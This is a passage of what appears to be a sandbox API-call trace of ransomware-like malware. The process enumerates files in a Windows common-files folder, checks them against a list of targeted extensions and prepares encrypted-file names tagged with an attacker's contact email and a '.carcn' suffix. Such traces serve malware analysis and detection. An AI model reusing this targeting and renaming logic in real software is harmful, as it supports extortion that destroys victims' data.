shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.423] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=804) returned 1 [0164.423] CloseHandle (hObject=0x314) returned 1 [0164.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0164.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString=".doc") returned 4 [0164.424] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString=".docx") returned 5 [0164.424] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0164.424] lstrlenW (lpString=".pdf") returned 4 [0164.424] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString=".xls") returned 4 [0164.424] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString=".xlsx") returned 5 [0164.424] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0164.424] lstrlenW (lpString=".ppt") returned 4 [0164.424] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString=".zip") returned 4 [0164.424] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.424] lstrlenW (lpString=".rar") returned 4 [0164.424] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString=".bz2") returned 4 [0164.424] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString=".7z") returned 3 [0164.424] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString=".dbf") returned 4 [0164.424] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString=".1cd") returned 4 [0164.424] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.424] lstrlenW (lpString=".jpg") returned 4 [0164.424] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString=".doc") returned 4 [0164.425] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString=".docx") returned 5 [0164.425] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0164.425] lstrlenW (lpString=".pdf") returned 4 [0164.425] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString=".xls") returned 4 [0164.425] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString=".xlsx") returned 5 [0164.425] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0164.425] lstrlenW (lpString=".ppt") returned 4 [0164.425] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString=".zip") returned 4 [0164.425] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.425] lstrlenW (lpString=".rar") returned 4 [0164.425] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString=".bz2") returned 4 [0164.425] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString=".7z") returned 3 [0164.425] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString=".dbf") returned 4 [0164.425] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString=".1cd") returned 4 [0164.425] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0164.425] lstrlenW (lpString=".jpg") returned 4 [0164.425] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.426] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.426] lstrlenW (lpString="zh-dayi.xml") returned 11 [0164.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.849] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=11067) returned 1 [0164.849] CloseHandle (hObject=0x2fc) returned 1 [0164.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0164.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.850] lstrlenW (lpString=".doc") returned 4 [0164.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString=".docx") returned 5 [0164.850] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0164.850] lstrlenW (lpString=".pdf") returned 4 [0164.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString=".xls") returned 4 [0164.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString=".xlsx") returned 5 [0164.850] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0164.850] lstrlenW (lpString=".ppt") returned 4 [0164.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.850] lstrlenW (lpString=".zip") returned 4 [0164.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.850] lstrlenW (lpString=".rar") returned 4 [0164.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString=".bz2") returned 4 [0164.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.850] lstrlenW (lpString=".7z") returned 3 [0164.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString=".dbf") returned 4 [0164.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString=".1cd") returned 4 [0164.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString=".jpg") returned 4 [0164.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString=".doc") returned 4 [0164.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString=".docx") returned 5 [0164.851] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0164.851] lstrlenW (lpString=".pdf") returned 4 [0164.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString=".xls") returned 4 [0164.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString=".xlsx") returned 5 [0164.851] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0164.851] lstrlenW (lpString=".ppt") returned 4 [0164.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.851] lstrlenW (lpString=".zip") returned 4 [0164.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.851] lstrlenW (lpString=".rar") returned 4 [0164.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString=".bz2") returned 4 [0164.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.851] lstrlenW (lpString=".7z") returned 3 [0164.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.852] lstrlenW (lpString=".dbf") returned 4 [0164.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.852] lstrlenW (lpString=".1cd") returned 4 [0164.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 81 [0164.852] lstrlenW (lpString=".jpg") returned 4 [0164.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.852] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.852] lstrlenW (lpString="main.xml") returned 8 [0164.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.852] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=44506) returned 1 [0164.852] CloseHandle (hObject=0x2fc) returned 1 [0164.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0164.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString=".doc") returned 4 [0164.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString=".docx") returned 5 [0164.853] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0164.853] lstrlenW (lpString=".pdf") returned 4 [0164.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString=".xls") returned 4 [0164.853] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString=".xlsx") returned 5 [0164.853] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0164.853] lstrlenW (lpString=".ppt") returned 4 [0164.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString=".zip") returned 4 [0164.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.853] lstrlenW (lpString=".rar") returned 4 [0164.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString=".bz2") returned 4 [0164.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString=".7z") returned 3 [0164.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString=".dbf") returned 4 [0164.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString=".1cd") returned 4 [0164.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.853] lstrlenW (lpString=".jpg") returned 4 [0164.853] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString=".doc") returned 4 [0164.854] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString=".docx") returned 5 [0164.854] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0164.854] lstrlenW (lpString=".pdf") returned 4 [0164.854] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString=".xls") returned 4 [0164.854] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString=".xlsx") returned 5 [0164.854] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0164.854] lstrlenW (lpString=".ppt") returned 4 [0164.854] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString=".zip") returned 4 [0164.854] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.854] lstrlenW (lpString=".rar") returned 4 [0164.854] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString=".bz2") returned 4 [0164.854] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString=".7z") returned 3 [0164.854] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString=".dbf") returned 4 [0164.854] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString=".1cd") returned 4 [0164.854] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0164.854] lstrlenW (lpString=".jpg") returned 4 [0164.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.855] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.855] lstrlenW (lpString="oskclearuibase.xml") returned 18 [0164.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0164.859] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=737) returned 1 [0164.859] CloseHandle (hObject=0x2fc) returned 1 [0164.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0164.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString=".doc") returned 4 [0164.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString=".docx") returned 5 [0164.860] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0164.860] lstrlenW (lpString=".pdf") returned 4 [0164.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString=".xls") returned 4 [0164.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString=".xlsx") returned 5 [0164.860] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0164.860] lstrlenW (lpString=".ppt") returned 4 [0164.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString=".zip") returned 4 [0164.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.860] lstrlenW (lpString=".rar") returned 4 [0164.860] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString=".bz2") returned 4 [0164.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString=".7z") returned 3 [0164.860] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString=".dbf") returned 4 [0164.860] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString=".1cd") returned 4 [0164.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.860] lstrlenW (lpString=".jpg") returned 4 [0164.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString=".doc") returned 4 [0164.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString=".docx") returned 5 [0164.861] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0164.861] lstrlenW (lpString=".pdf") returned 4 [0164.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString=".xls") returned 4 [0164.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString=".xlsx") returned 5 [0164.861] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0164.861] lstrlenW (lpString=".ppt") returned 4 [0164.861] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString=".zip") returned 4 [0164.861] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.861] lstrlenW (lpString=".rar") returned 4 [0164.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString=".bz2") returned 4 [0164.861] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString=".7z") returned 3 [0164.861] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString=".dbf") returned 4 [0164.861] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString=".1cd") returned 4 [0164.861] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0164.861] lstrlenW (lpString=".jpg") returned 4 [0164.861] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.861] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.862] lstrlenW (lpString="oskmenubase.xml") returned 15 [0164.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.867] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=471) returned 1 [0164.867] CloseHandle (hObject=0x314) returned 1 [0164.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0164.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.868] lstrlenW (lpString=".doc") returned 4 [0164.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.868] lstrlenW (lpString=".docx") returned 5 [0164.868] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0164.868] lstrlenW (lpString=".pdf") returned 4 [0164.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.868] lstrlenW (lpString=".xls") returned 4 [0164.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 